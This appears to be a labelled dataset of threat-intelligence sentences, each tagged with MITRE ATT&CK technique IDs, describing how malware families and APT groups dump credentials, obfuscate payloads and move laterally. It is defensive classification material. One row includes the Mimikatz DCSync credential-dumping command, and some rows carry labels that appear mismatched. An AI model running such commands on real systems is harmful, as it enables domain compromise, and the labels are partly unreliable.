"The case we found arrived through a targeted email that contained a document file (in docx format). Opening document starts a template injection technique for loading the document template from the internet. The downloaded document template contains the malicious macro codes, which executes a VBScript (VBS). We found a mechanism for decrypting, executing, and downloading an additional payload from the C&C server. During the time of the analysis however, the C&C server was not accessible, which made us unable to get additional payloads",T1221
"Essentially, “thumb.dd” is a container for data which is saved on the flash drive, unless it can be sent directly over the Internet to the C&C server",T1052.001
"There are two types of Ryuk binaries: a dropper (which is not commonly observed) and the Ryuk executable payload. Recovery of Ryuk droppers are rare, due to the Ryuk executable payload deleting the dropper when executed. Upon execution, the dropper constructs an installation folder path. The folder path is created by calling GetWindowsDirectoryW and then inserting a null byte at the fourth character of the path. This is used to create a string that contains the drive letter path. If the host operating system is Windows XP or earlier, the string Documents and Settings\Default User\ is appended to the drive letter path. If the host is Windows Vista or newer, the string users\Public\ is appended to the drive letter path. For Windows XP, an example folder path would be C:\Documents and Settings\Default User\, and for Window Vista or higher, the path would be C:\Users\Public",T1036.005
"For the second path, the attackers create their own SAML signing certificate outside of the organization’s environment. With Azure AD administrative permissions, they then add the new certificate as a trusted object. As these are rare actions, we advise verifying that any instances identified are the result of legitimate administrative activity",T1484.002
"After loading the keyword and phone data files, MESSAGETAP begins monitoring all network connections to and from the server. It uses the libpcap library to listen to all traffic and parses network protocols starting with Ethernet and IP layers. It continues parsing protocol layers including SCTP, SCCP, and TCAP. Finally, the malware parses and extracts SMS message data from the network traffic",T1040
"For the discovery phase, the Carbanak and FIN7 campaigns gain more knowledge about the system by gathering listings of various information: open application windows, running processes, IP addresses and other network identifiers in remote systems, detailed hardware and system information, system network configuration and settings, and system owners and users.",T1033 | T1016 | T1057 | T1082 | T1590.005 | T1590 | T1049
The packed executable stores the LV ransomware binary as an RC4-encrypted data within a section named “enc.”,T1486
"As shown below in Figure 4, the DLL was saved to the victim’s home directory at C:\Users\[username]\tru.dll. It ran using regsvr32.exe.",T1218.010
"To steal information from the Windows Vault, it appears that the Agent Tesla authors converted a PowerSploit script into C# to build a .NET assembly.",T1059.001 | T1587.001 | T1588.001
"Threat actors behind Cring used weaponized tools in their attacks. One of these tools is Mimikatz, which was used to steal account credentials of users who had previously logged into the system.",T1528
"After loading the Cobalt Strike DLL, there was an almost instant injection by the process into the Werfault process.",T1055.001 | T1055.011 | T1055.002
"In this incident, CARBON SPIDER also used the KillACK PS backdoor, executing the malware using both PowerShell and PowerShell ISE. KillACK sends host information to a C2 server (in this case, againcome[.]com or besaintegration[.]com) and executes provided PS script blocks. Multiple KillACK modules have been observed by CrowdStrike Intelligence, including modules for conducting self-propagation and AMSI hot-patching, as well as for executing Cobalt Strike stagers and enumerating network information.",T1546.013 | T1059.001
"A threat actor with knowledge of the machineKey can construct a malicious ViewState and then generate a new and valid MAC that the server accepts. With a valid MAC, the server will then deserialize the malicious ViewState, resulting in the execution of code on the server. Publicly available tools such as YSoSerial.NET exist to construct these malicious ViewStates. This is precisely how APT41 initiated their campaign in May 2021. ",T1037.002
"Similar to SPRITE SPIDER, CARBON SPIDER has gained access to ESXi servers using valid credentials. The adversary has typically accessed these systems via the vCenter web interface, using legitimate credentials, but has also logged in over SSH using the Plink utility to drop Darkside.",T1505.003
"What is peculiar about this file is it is a variant of the open-source MicroBackdoor, a backdoor allowing an attacker to browse the file system, upload and download files, execute commands and remove itself from the system (Figure 13). As the threat actor would normally have a foothold into the network prior to ransomware deployment, it raises the question of why this backdoor is part of the ransomware execution. One possibility is that it is used to monitor ransomed systems for blue team and incident response (IR) activity, though even in that case it is unusual to see offensive tools dropped at this point in the infection.",T1588.001
"The first artefacts we found relating to MATA were used around April 2018. After that, the actor behind this advanced malware framework used it aggressively to infiltrate corporate entities around the world. We identified several victims from our telemetry and figured out the purpose of this malware framework.",T1588.001 | T1587.001
Another example of a Trojan with the same functionality is Backdoor.Win32.ZAccess (ZeroAccess). Its most favored targets are users in the US (27.7%) and Germany (11%).,T1588.001 | T1587.001
"Mandiant Threat Intelligence discovered a new backdoor uploaded by a U.S.-based entity to a public malware repository in August 2020 that we have named SUNSHUTTLE. SUNSHUTTLE is written in GO, and reads an embedded or local configuration file, communicates with a hard-coded command and control (C2) server over HTTPS, and supports commands including remotely uploading its configuration, file upload and download, and arbitrary command execution. Notably, SUNSHUTTLE uses cookie headers to pass values to the C2, and if configured, can select referrers from a list of popular website URLs to help such network traffic “blend in.” .",T1588.001 | T1583.002
"We also observed another malware distribution method of Roaming Mantis which is linked to prezi.com. Prezi is a popular computer application and online service to create dynamic presentations. The criminals used this service to spread their scam. When a user visits a page crafted by the attackers, a link is shown offering free content such as adult video, a game, a comic, music and so on, like pirate editions.",T1566.002 | T1204.001 | T1598.003
"Sixth and seventeenth places were taken by members of the Hqwar dropper family: Trojan-Dropper.AndroidOS.Hqwar.bb (3.36%) and Trojan-Dropper.AndroidOS.Hqwar.gen (1.57%), respectively. These packers most often contain banking Trojans, including Asacub.",T1588.001 | T1587.001
"These downloaders maintained PDB strings with “PuppetLoader” filepaths. These PuppetLoader strings pretty clearly connected the multistage loaders with past PuppetLoader downloaders, only this time, redesigned and rewritten in C#. Past PuppetLoaders, written in C++, maintain explicit strings:",T1588.002
"Like many other stealers its main purpose is to steal credentials and information from web browsers, in addition to stealing cryptocurrency wallets, FTP credentials, various files and information about the system such as OS version, system language, processor type and clipboard data. ",T1555.003
"A new Ducktail phishing campaign is spreading a never-before-seen Windows information-stealing malware written in PHP used to steal Facebook accounts, browser data, and cryptocurrency wallets.",T1566
"We saw some cases where a separate loader – WindowsTool.exe – was used to implement persistence and execute DeepCreep with InstallUtil, a legitimate tool from the .NET Framework.",T1218.004
QAKBOT has gained execution through users accessing malicious link,T1204.001
"""In 2013, Kaspersky reported on a threat actor group they named “IceFog” that had been attacking a large number of entities related to military, mass media, and technology in South Korea and Japan. This group developed their own backdoor for both Windows and OS X. And just this year, Kaspersky published a report on a group they named """"Careto/Mask"""" that utilized an open source netcat-like project designed to run on *nix and Windows systems named ‘sbd’ which they wrapped in a custom built installer for OS X.""",T1587.001
"This module propagates Trickbot via the EternalRomance exploit. It enables WDigest Authentication by modifying the UseLogonCredential value in the HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest registry key. This modification is forced to save credentials in lsass.exe memory (Local Security Authority Subsystem Service). The tabDll32 module then injects the embedded module screenLocker in explorer.exe and locks the workstation with the lock screen, forcing the user to login again. It waits for next user login and scrapes the credentials from LSASS memory utilizing Mimikatz functionality. Stolen credentials are sent back to the C2. After that tabDll32 downloads the payload from hardcoded URLs – usually the Trickbot loader (downloader) – starts up to 256 threads and uses the EternalRomance exploit to rapidly spread the downloaded payload over the network. Another embedded module, ssExecutor_x86, is used to set up persistence for the downloaded payload on exploited systems. This module also contains the main code of the shareDll32 module, and uses it to spread over the network.",T1003.001 | T1547.008
"While WannaCry ransomware has spread primarily through SMB exploitation, its operators may also use other distribution methods. Early reports suggested WannaCry was spread through malicious links in spam messages; however, FireEye has been unable to corroborate that information from any of our investigations to date.",T1566.002 | T1203
The jar that exploited CVE-2013-2423 dropped a 9002 RAT with a MD5 of d99ed31af1e0ad6fb5bf0f116063e91f. This RAT connected to a command and control server at asp[.]homesvr[.]linkpc[.]net. The jar that exploited CVE-2013-1493 dropped a 9002 RAT with a MD5 of 42bd5e7e8f74c15873ff0f4a9ce974cd. This RAT connected to a command and control server at ssl[.]homesvr[.]tk.,T1210
"On November 25, we confirmed that another malware, AzoRult, was served from the same URL previously serving Smoke Loader. AzoRult is also a commodity malware that steals credentials, cookies, and cryptocurrencies. This AzoRult accesses the following C2 address, which is a different path on the same C2 server with the Smoke Loader.",T1588.001
"Spam messages sent to users of VKontakte contained a personal address and were far more lively. These messages contained a link to a server, which redirected users to porn sites. Users were told that in order to view videos, they had to download a codec, which turned out to be Trojan.Win32.Crypt.ey, a malicious Browser Helper Object. This caused the first five results in any web search query to be malicious links. Kaspersky Lab estimates that approximately 4000 VKontakte accounts were stolen with a few hours. ",T1566.002
"Current module doesn’t create any local logs, instead all information is kept in memory, which is later compressed using Zlib 1.2.5, encrypted, encoded with Base64 algorithm and submitted to the C&C server.",T1132
"Trojan.AndroidOS.Fadeb.a could be regarded as the least successful of the malicious programs described above. Its activity also increased starting in early May, but even in the first half of July, which was its most active period, the number of users attacked did not exceed 1,000 per day.",T1587.001
. . . This timeline shows that the attackers have been busy developing a new component of the infection chain almost every month since April 2020.. . A visual timeline of the evolution is presented here:. Visual timeline of the evolution of the infection chain of CRAT.. . ,T1587.001
Patterns in certificate issuer data for Dridex HTTPS C2 traffic are somewhat unique when compared to other malware families. They can be key to identifying Dridex infections.,T1596.003
"The main worker sample contains five icon resources with valid icons named 16, 256, 4097, 8193 and 12289. The names indicate different icon resolutions, but the icons only differ in the encrypted data appended to them which can be considered as a form of steganography. This data is encrypted with a custom algorithm and additionally zlib compressed. The same method is used within the SSP DLLs. A Python script for decryption and decompression can be found in the Appendix. After decryption, the data blob has the following structure:",T1027.003
"In response, the malware receives an extended loader – a module in a format typical of ZeuS, i.e., not a standard PE file but a set of sections that are mapped to memory by the loader itself: executable code, relocation table, point of entry, exported functions, import table.",T1587.001
PLEAD’s installers are disguised as documents using the right-to-left-override (RTLO) technique to obfuscate the malware’s filename. They are mostly accompanied by decoy documents to further trick users. We’ve also seen PLEAD use exploits for these vulnerabilities:. . ,T1036.002
Attempts to check the language settings.,T1614 | T1614
"Indicators, such as logs in Windows Event Logs or malicious files, are typically removed using wevtutil, a batch script, or CCleaner.",T1070
Compromised accounts may be used to maintain access to the network.,T1078 | T1078
Affiliates use hidden windows to hide malicious activity from plain sight.,T1564.003 | T1564.003
CreepyDrive uses the OneDrive HTTP API (and the Dropbox HTTP API) to access the cloud storage.,T1530
"It can upload or download files from attacker-controlled accounts in these cloud services, and execute supplied PowerShell code",T1580
Smuggles a file’s content by hiding malicious payloads inside of seemingly benign HTML files.,T1027.006
PapaCreep is a previously undocumented custom backdoor written in C++ that can receive and execute commands from a remote server via TCP sockets.,T1071
CreepyDrive is a PowerShell backdoor that reads and executes commands from a text file stored on OneDrive or Dropbox,T1580
"On a similar note, they like to divide the code in their backdoors, distributing malicious functionality into various small DLLs, perhaps expecting that defenders or researchers will not observe the complete attack chain.",T1622
"The final stage is a Windows executable-type malware that is capable of stealing information from the victim such as file lists, user keystrokes, and stored web browser login credentials.",T1056.001
Russian state-sponsored APT actors have conducted bruteforce password guessing and password spraying campaigns.,T1110.001 | T1110.003
Russian state-sponsored APT actors have exploited Windows Netlogon vulnerability CVE-2020-1472 to obtain access to Windows Active Directory servers.,T1212
Russian state-sponsored APT actors have obtained private encryption keys from the Active Directory Federation Services (ADFS) container to decrypt corresponding SAML signing certificates.,T1552.004
Russian state-sponsored APT actors have used virtual private servers (VPSs) to route traffic to targets. The actors often use VPSs with IP addresses in the home country of the victim to hide activity among legitimate user traffic.,T1090.003
Chinese state-sponsored cyber actors have been observed using Cobalt Strike® and tools from GitHub® on victim networks.,T1588.002
"Chinese state-sponsored cyber actors have been observed:  Exploiting vulnerable devices immediately after conducting scans for critical zero-day or publicly disclosed vulnerabilities. The cyber actors used or modified public proof of concept code in order to exploit vulnerable systems.  Targeting Microsoft Exchange offline address book (OAB) virtual directories (VDs).  Exploiting Internet accessible webservers using webshell small code injections against multiple code languages, including net, asp, apsx, php, japx, and cfm.",T1133
Chinese state-sponsored cyber actors have also been observed modifying group policies for password exploitation.,T1484.001
The actors staged archives of collected data on a target's OWA server.,T1074.002
The actors renamed archive files containing exfiltration data with innocuous looking names and extensions (e.g. .wav and .mp4) to resemble benign files,T1036
The actors renamed the WinRAR utility to avoid detection.,T1036.003
Actors used Impacket tools wmiexec.py and smbexec.py to leverage Windows Management Instrumentation and execute malicious commands.,T1047
"Each sample contains malicious code that writes an embedded payload to disk and launches it. However, the malicious code was inserted at different locations in each of the trojanized PuTTY samples. In the PuTTY sample discovered by Mandiant, the code resides in the connect_to_host function, which is in the source file putty-0.77\ssh\ssh.c. To trigger the code, the user must attempt an SSH connection to the host IP address provided in the Readme.txt file (Figure 1).",T1620
A bash installation script to be placed into /etc/rc.local.d/ to ensure its actions will be executed upon each bootup of ESXi. This script executes the ELF backdoor,T1547
"Reviewing the ESXi hypervisors during an active attacker event, Mandiant identified an attacker executed commands to the guest machines through the process /bin/rdt (VIRTUALPITA). The parent process /bin/rdt spawned a bash shell which called on a python script specifying the target guest machine and commands to run as seen in Figure 4.",T1202
UNC4166 deployed the payload AzureSettingSync.dll and configured its execution via a schedule task named AzureSync on at least one device. The schedule task was configured to execute AzureSync via rundll32.exe,T1218.011
"""Conti ransomware uses CreateIoCompletionPort(), PostQueuedCompletionStatus(), and GetQueuedCompletionPort() to rapidly encrypt files, excluding those with the extensions of .exe, .dll, and .lnk. It has used a different AES-256 encryption key per file with a bundled RAS-4096 public encryption key that is unique for each victim. Conti ransomware can use Windows Restart Manager"""" to ensure files are unlocked and open for encryption.""""""",T1486
Conti ransomware can enumerate remote open server message block (SMB) network shares using NetShareEnum().,T1135
"In this attack, an attacker pretends to be a DC and uses the Directory Replication Service Remote Protocol in order to extract NTLM hashes of users in the domain. One of the accounts he can extract using this protocol is the KRBTGT account, allowing the attacker to create golden tickets and as a result, compromise the domain completely. To perform this attack, the attacker must have compromised an account with special rights allowing the domain replication. These permissions are granted by default to domain admins, administrators, enterprise admins and domain controllers groups. The Mimikatz command performing this attack is- lsadump::dcsync /domain:<domain name> /user:<domain user account>",T1207
"Like a typical ransomware TTP, Nefilim enumerates files before encrypting them. It uses some FileAPI functions such as FindFirstFileW, lstrcmpiW and FindNextFileW to discover files.",T1083
Nefilim operators use the MEGAsync application to exfiltrate data to cloud storage. MEGAsync application synchronizes folders between the infected computer and an adversary-controlled MEGA Cloud Drive.,T1567.002
"In their current campaign, APT32 has leveraged ActiveMime files that employ social engineering methods to entice the victim into enabling macros. Upon execution, the initialized file downloads multiple malicious payloads from remote servers.",T1586.001
"The malware changes the file Created, Modified, and Accessed times of all of its dropped copies to the Last Modified time of ntdll.dll. To bypass the “File Downloaded from the Internet” warning, the malware removes the :Zone.Identifier flag using DeleteFile API, as shown in Figure 9.",T1553.005
"Exploit code that downloads a payload (such as malicious application) will not set a quarantine attribute (or can remove it), thus will not trigger Gatekeeper",T1553.001
"""APT28 added """"junk data"""" to each encoded string, preventing trivial decoding without knowledge of the junk removal algorithm. Each implant was given a """"junk length"""" value when created, tracked by the controller software to allow seamless communication but prevent analysis of the command protocol on the wire.""",T1001.001
BendyBear has used byte randomization to obscure its behavior.,T1001.001
Mori has obfuscated the FML.dll with 200MB of junk data.,T1001.001
ZeroT has retrieved stage 2 payloads as Bitmap images that use Least Significant Bit (LSB) steganography.,T1001.002
"APT34 has dumped credentials from victims in several ways, including by using open source tools Mimikatz and Lazagne, or by harvesting credentials when users log into Outlook Web Access.",T1003
Tonto Team has used a variety of credential dumping tools.,T1003
APT28 regularly deploys both publicly available (ex: Mimikatz) and custom password retrieval tools on victims. They have also dumped the LSASS process memory using the MiniDump function.,T1003.001
"""APT3 has used a tool to dump credentials by injecting itself into lsass.exe and triggering with the argument """"dig.""""""",T1003.001
Bad Rabbit has used Mimikatz to harvest credentials from the victim's machine.,T1003.001
Empire contains an implementation of Mimikatz to gather credentials from memory.,T1003.001
FIN6 has used Windows Credential Editor for credential dumping.,T1003.001
"Ke3chang has dumped credentials, including by using Mimikatz.",T1003.001
"Leviathan has used publicly available tools to dump password hashes, including ProcDump and WCE.",T1003.001
Lslsass can dump active logon session password hashes from the lsass process.,T1003.001
Net Crawler uses credential dumpers such as Mimikatz and Windows Credential Editor to extract cached credentials from Windows systems.,T1003.001
"Olympic Destroyer contains a module that tries to obtain credentials from LSASS, similar to Mimikatz. These credentials are used with PsExec and Windows Management Instrumentation to help the malware propagate itself across a network.",T1003.001
Dragonfly 2.0 dropped and executed SecretsDump to dump password hashes.,T1003.002 | T1003.004
"""GALLIUM used """"reg"""" commands to dump specific hives from the Windows Registry, such as the SAM hive, and obtain password hashes.""",T1003.002
"IceApple's Credential Dumper module can dump encrypted password hashes from SAM registry keys, including `HKLM\SAM\SAM\Domains\Account\F` and `HKLM\SAM\SAM\Domains\Account\Users\\V`.",T1003.002
APT28 has used the ntdsutil.exe utility to export the Active Directory database for credential access.,T1003.003
Dragonfly 2.0 dropped and executed SecretsDump to dump password hashes. They also obtained ntds.dit from domain controllers.,T1003.003
FIN6 has used Metasploit's PsExec NTDSGRAB module to obtain a copy of the victim's Active Directory database.,T1003.003 | T1087.002
"Mimikatz performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from the LSA.",T1003.004
Pupy can use Lazagne for harvesting credentials.,T1003.004 | T1003.005 | T1552.001 | T1555 | T1555.003
gsecdump can dump LSA secrets.,T1003.004
"During Operation Wocao, threat actors used Mimikatz's DCSync to dump credentials from the memory of the targeted system.",T1003.006
APT41 has uploaded files and data from a compromised host.,T1005
Amadey can collect information from a compromised host.,T1005
Andariel has collected large numbers of files from compromised network systems for later extraction.,T1005
BlackMould can copy files on a compromised host.,T1005
BoxCaon can upload files from a compromised host.,T1005
CreepyDrive can upload files to C2 from victim machines.,T1005
Crimson can collect information from a compromised host.,T1005
Cryptoistic can retrieve files from the local file system.,T1005
Dark Caracal collected complete contents of the 'Pictures' folder from compromised Windows systems.,T1005
EnvyScout can collect sensitive NTLM material from a compromised host.,T1005
FIN6 has collected and exfiltrated payment card data from compromised systems.,T1005
FatDuke can copy files and directories from a compromised host.,T1005
FoggyWeb can retrieve configuration data from a compromised AD FS server.,T1005
Fox Kitten has searched local system resources to access sensitive documents.,T1005
"Inception used a file hunting plugin to collect .txt, .pdf, .xls or .doc files from the infected host.",T1005
MarkiRAT can upload data from the victim's machine to the C2 server.,T1005
Mis-Type has collected files and data from a compromised host.,T1005
Octopus can exfiltrate files from the system using a documents collector tool.,T1005
Pasam creates a backdoor through which remote attackers can retrieve files.,T1005
"QakBot can use a variety of commands, including esentutl.exe to steal sensitive data from Internet Explorer and Microsoft Edge, to acquire information that is subsequently exfiltrated.",T1005
Rover searches for files on local drives based on a predefined list of file extensions.,T1005
SpicyOmelette has collected data and other information from a compromised host.,T1005
UNC2452 extracted files from compromised networks.,T1005
USBferry can collect information from an air-gapped host machine.,T1005
Wevtutil can be used to export events from a specific log.,T1005
GeminiDuke collects information on programs and services on the victim that are configured to automatically run at startup.,T1007
InvisiMole can obtain running services on the victim.,T1007
Ixeshe can list running services.,T1007
PoshC2 can enumerate service and service permission information.,T1007
SUNBURST collected a list of service names that were hashed using a FNV-1a + XOR algorithm to check against similarly-hashed hardcoded blocklists.,T1007
SombRAT can enumerate services on a victim machine.,T1007
"""Sykipot may use """"net start"""" to display running services.""",T1007
Tasklist can be used to discover services running on a system.,T1007
TeamTNT has searched for services such as Alibaba Cloud Security's aliyun service and BMC Helix Cloud Security's bmc-agent service in order to disable them.,T1007
Derusbi uses a backup communication method with an HTTP beacon.,T1008
"Lazarus Group malware SierraAlfa sends data to one of the hard-coded C2 servers chosen at random, and if the transmission fails, chooses a new C2 server to attempt the transmission again.",T1008
Mythic can use a list of C2 URLs as fallback mechanisms in case one IP or domain gets blocked.,T1008
HEXANE has used a PowerShell-based keylogging tool to capture the window title.,T1010
Remexi has a command to capture active windows on the machine and retrieve window titles.,T1010
SILENTTRINITY can enumerate the active Window during keylogging through execution of `GetActiveWindowTitle`.,T1010
"Flame has a module named BeetleJuice that contains Bluetooth functionality that may be used in different ways, including transmitting encoded information from the infected system over the Bluetooth protocol, acting as a Bluetooth beacon, and identifying other Bluetooth devices in the vicinity.",T1011.001
Bisonal has used the RegQueryValueExA function to retrieve proxy information in the Registry.,T1012
Carbon enumerates values in the Registry.,T1012
FinFisher queries Registry values as part of its anti-sandbox checks.,T1012
Fox Kitten has accessed Registry hives ntuser.dat and UserClass.dat.,T1012
"""LiteDuke can query the Registry to check for the presence of """"HKCU\Software\KasperskyLab"""".""",T1012
Saint Bot has used `check_registry_keys` as part of its environmental checks.,T1012
HTRAN can install a rootkit to hide network connections from the host OS.,T1014
Hildegard has modified /etc/ld.so.preload to overwrite readdir() and readdir64().,T1014
TeamTNT has used rootkits such as the open-source Diamorphine rootkit and their custom bots to hide cryptocurrency mining activities on the machine.,T1014
Anchor can determine the public IP and location of a compromised host.,T1016
"Aria-body has the ability to identify the location, public IP address, and domain name on a compromised host.",T1016
Avaddon can collect the external IP address of the victim.,T1016
Avenger can identify the domain of the compromised host.,T1016
BLUELIGHT can collect IP information from the victim's machine.,T1016
Chrommme can enumerate the IP address of a compromised host.,T1016
CreepySnail can use `getmac` and `Get-NetIPAddress` to enumerate network settings.,T1016
EKANS can determine the domain of a compromised host.,T1016
"Frankenstein has enumerated hosts, looking for the public IP address of the system.",T1016
Green Lambert can obtain proxy information from a victim's machine using system environment variables.,T1016
HEXANE has used Ping and `tracert` for network discovery.,T1016
"""Ke3chang has performed local network configuration discovery using """"ipconfig"""".""",T1016
Kessel has collected the DNS address of the infected host.,T1016
Kevin can collect the MAC address and other information from a victim machine using `ipconfig/all`.,T1016
MuddyWater has used malware to collect the victim's IP address and domain name.,T1016
"""Mustang Panda has used """"ipconfig"""" and """"arp"""" to determine network configuration information.""",T1016
Octopus can collect the host IP address from the victim's machine.,T1016
"""PLAINTEE uses the """"ipconfig /all"""" command to gather the victim's IP address.""",T1016
PowerDuke has a command to get the victim's domain and NetBIOS name.,T1016
PowerShower has the ability to identify the current Windows domain of the infected host.,T1016
"QuasarRAT has the ability to enumerate the Wide Area Network (WAN) IP through requests to ip-api[.]com, freegeoip[.]net, or api[.]ipify[.]org observed with user-agent string `Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0`.",T1016
"SUNBURST collected all network interface MAC addresses that are up and not loopback devices, as well as IP address, DHCP configuration, and domain information.",T1016
StrongPity can identify the IP address of a compromised host.,T1016
"""Sykipot may use """"ipconfig /all"""" to gather system network configuration details.""",T1016
WellMess can identify the IP address and user domain on the target machine.,T1016
down_new has the ability to identify the MAC address of a compromised host.,T1016
iKitten will look for the current IP address.,T1016
More_eggs has used HTTP GET requests to check internet connectivity.,T1016.001
"CrackMapExec can discover active IP addresses, along with the machine name, within a targeted network.",T1018
FunnyDream can collect information about hosts on the victim network.,T1018
Rocke has looked for IP addresses in the known_hosts file on the infected system and attempted to SSH into them.,T1018
Shamoon scans the C-class subnet of the IPs on the victim's interfaces.,T1018
Attor has a file uploader plugin that automatically exfiltrates the collected data and log files to the C2 server.,T1020
Ke3chang has performed frequent and scheduled data exfiltration from compromised networks.,T1020
Machete's collected files are exfiltrated automatically to remote servers.,T1020
Tropic Trooper has used a copy function to automatically exfiltrate sensitive data from air-gapped systems using USB storage.,T1020
USBStealer automatically exfiltrates collected files via removable media when an infected device connects to an air-gapped victim machine after initially being connected to an internet-enabled victim machine.,T1020
RemoteCMD can execute commands remotely by creating a new service on the remote system .,T1021
Stuxnet can propagate via peer-to-peer communication and updates using RPC.,T1021
"APT39 has been seen using RDP for lateral movement and persistence, in some cases employing the rdpwinst tool for mangement of multiple sessions.",T1021.001
"During C0015, the threat actors used RDP to access specific network hosts of interest.",T1021.001
Koadic can enable remote desktop on the victim's machine.,T1021.001
Pysa has laterally moved using RDP connections.,T1021.001
SDBbot has the ability to use RDP to connect to victim's machines.,T1021.001
ZxShell has remote desktop functionality.,T1021.001
APT28 has mapped network drives using Net and administrator credentials.,T1021.002
APT29 has used administrative accounts to connect over SMB to targeted users.,T1021.002
APT32 used Net to use Windows' hidden network shares to copy their tools to remote machines for execution.,T1021.002
Kwampirs copies itself over network shares to move laterally on a victim network.,T1021.002
Ryuk has used the C$ network share for lateral movement.,T1021.002
"""Empire can utilize """"Invoke-DCOM"""" to leverage remote COM execution for lateral movement.""",T1021.003
Fox Kitten has used the PuTTY and Plink tools for lateral movement.,T1021.004
Rocke has spread its coinminer via SSH.,T1021.004
Proton uses VNC to connect into systems.,T1021.005
WarzoneRAT has the ability of performing remote desktop access via a VNC console.,T1021.005
Chimera has used WinRM for lateral movement.,T1021.006
Crimson contains a module to collect data from removable drives.,T1025
Crutch can monitor removable drives and exfiltrate files matching a given extension list.,T1025
A version of XTunnel introduced in July 2015 obfuscated the binary using opaque predicates and other techniques in a likely attempt to obfuscate it and bypass security products.,T1027
Aquatic Panda has encoded commands in Base64.,T1027
CARROTBALL has used a custom base64 alphabet to decode files.,T1027
CORESHELL obfuscates strings using a custom stream cipher.,T1027
Cardinal RAT encodes many of its artifacts and is encrypted (AES-128) when downloaded.,T1027
Chrommme can encrypt sections of its code to evade detection.,T1027
"Darkhotel has obfuscated code using RC4, XOR, and RSA.",T1027
"During Operation Wocao, threat actors executed PowerShell commands which were encoded or compressed using Base64, zlib, and XOR.",T1027
ECCENTRICBANDWAGON has encrypted strings with RC4.,T1027
"FinFisher is heavily obfuscated in many ways, including through the use of spaghetti code in its functions in an effort to confuse disassembly programs. It also uses a custom XOR algorithm to obfuscate code.",T1027
Fox Kitten has base64 encoded scripts and payloads to avoid detection.,T1027
HEXANE has used Base64-encoded scripts.,T1027
Hancitor has used Base64 to encode malicious links. Hancitor has also delivered compressed payloads in ZIP files to victims.,T1027
Heyoka Backdoor can encrypt its payload.,T1027
Honeybee drops files with base64-encoded data.,T1027
Hydraq uses basic obfuscation in the form of spaghetti code.,T1027
"IronNetInjector can obfuscate variable names, encrypt strings, as well as base64 encode and Rijndael encrypt payloads.",T1027
Kwampirs downloads additional files that are base64-encoded and encrypted with another cipher.,T1027
"Magic Hound malware has used base64-encoded commands and files, and has also encrypted embedded strings with AES.",T1027
Matryoshka obfuscates API function names using a substitute cipher combined with Base64 encoding.,T1027
"NETWIRE has used a custom obfuscation algorithm to hide strings including Registry keys, APIs, and DLL names.",T1027
"Netwalker's PowerShell script has been obfuscated with multiple layers including base64 and hexadecimal encoding and XOR-encryption, as well as obfuscated PowerShell functions and variables. Netwalker's DLL has also been embedded within the PowerShell script in hex format.",T1027
"OilRig has encrypted and encoded data in its malware, including by using base64.",T1027
OopsIE uses the Confuser protector to obfuscate an embedded .Net Framework assembly used for C2. OopsIE also encodes collected data in hexadecimal format before writing to files on disk and obfuscates strings.,T1027
Out1 has the ability to encode data.,T1027
PUNCHTRACK is loaded and executed by a highly obfuscated launcher.,T1027
Pandora has the ability to compress stings with QuickLZ.,T1027
PcShare has been encrypted with XOR using different 32-long Base16 strings and compressed with LZW algorithm.,T1027
Pillowmint has been compressed and stored within a registry key. Pillowmint has also obfuscated the AES key used for encryption.,T1027
PipeMon modules are stored encrypted on disk.,T1027
"PyDCrypt has been compiled and encrypted with PyInstaller, specifically using the --key flag during the build phase.",T1027
RCSession can compress and obfuscate its strings to evade detection on a compromised host.,T1027
Raindrop encrypted its payload using a simple XOR algorithm with a single-byte key.,T1027
Remexi obfuscates its configuration data with XOR.,T1027
StrongPity has used encrypted strings in its dropper component.,T1027
TINYTYPHON has used XOR with 0x90 to obfuscate its configuration file.,T1027
TRITON encoded the two inject.bin and imain.bin payloads.,T1027
The Clambling executable has been obfuscated when dropped on a compromised host.,T1027
The DustySky dropper uses a function to obfuscate the name of functions and other parts of the malware.,T1027
The payload of CozyCar is encrypted with simple XOR with a rotating key. The CozyCar configuration file has been encrypted with RC4 keys.,T1027
"""Turla has used encryption (including salted 3DES via PowerSploit's """"Out-EncryptedScript.ps1""""), random variable names, and base64 encoding to obfuscate PowerShell commands and payloads.""",T1027
Windshift has used string encoding with floating point calculations.,T1027
YAHOYAH encrypts its configuration file using a simple algorithm.,T1027
ZxxZ has been encoded to avoid detection from static analysis tools.,T1027
FinFisher contains junk code in its functions in an effort to confuse disassembly programs.,T1027.001
Grandoreiro has added BMP images to the resources section of its Portable Executable (PE) file increasing each binary to at least 300MB in size.,T1027.001
QakBot can use large file sizes to evade detection.,T1027.001
"""Rifdoor has added four additional bytes of data upon launching, then saved the changed version as """"C:\ProgramData\Initech\Initech.exe"""".""",T1027.001
SamSam has used garbage code to pad some of its malware components.,T1027.001
"yty contains junk code in its binary, likely to confuse malware analysts.",T1027.001
AppleSeed has used UPX packers for its payload DLL.,T1027.002
Cuba has a packed payload when delivered.,T1027.002
Ember Bear has packed malware to help avoid detection.,T1027.002
Emotet has used custom packers to protect its payloads.,T1027.002
GoldMax has been packed for obfuscation.,T1027.002
KONNI has been packed for obfuscation.,T1027.002
Lazarus Group has used Themida to pack at least two separate backdoor implants.,T1027.002
SysUpdate can use packed binaries.,T1027.002
Torisma has been packed with Iz4 compression.,T1027.002
ZIRCONIUM has used multi-stage packers for exploit code.,T1027.002
"Okrum's payload is encrypted and embedded within its loader, or within a legitimate PNG file.",T1027.003
Cobalt Strike includes a capability to modify the Beacon payload to eliminate known signatures or unpacking methods.,T1027.005
"Dipsind can be configured to only run during normal working hours, which would make its communications harder to distinguish from normal traffic.",T1029
Kazuar can sleep for a specific time and be set to communicate at specific intervals.,T1029
ShimRat can sleep when instructed to do so by the C2.,T1029
TinyTurla contacts its C2 based on a scheduled timing set in its configuration.,T1029
Carbanak exfiltrates data in compressed chunks if a message is larger than 4096 bytes .,T1030
ObliqueRAT can break large files of interest into smaller chunks to prepare them for exfiltration.,T1030
Threat Group-3390 actors have split RAR files for exfiltration into parts.,T1030
APT28 has queried information on machines to determine the current user or system owner .,T1033
"APT38 has identified primary users, currently logged in users, sets of users that commonly use a system, or inactive users.",T1033
BLUELIGHT can collect the username on a compromised host.,T1033
"""Exaramel for Linux can run """"whoami"""" to identify the system owner.""",T1033
Goopy has the ability to enumerate the infected system's user name.,T1033
Grandoreiro can collect the username from the victim's machine.,T1033
GrimAgent can identify the user id on a target machine.,T1033
JPIN can obtain the victim user name.,T1033
Kazuar gathers information on users.,T1033
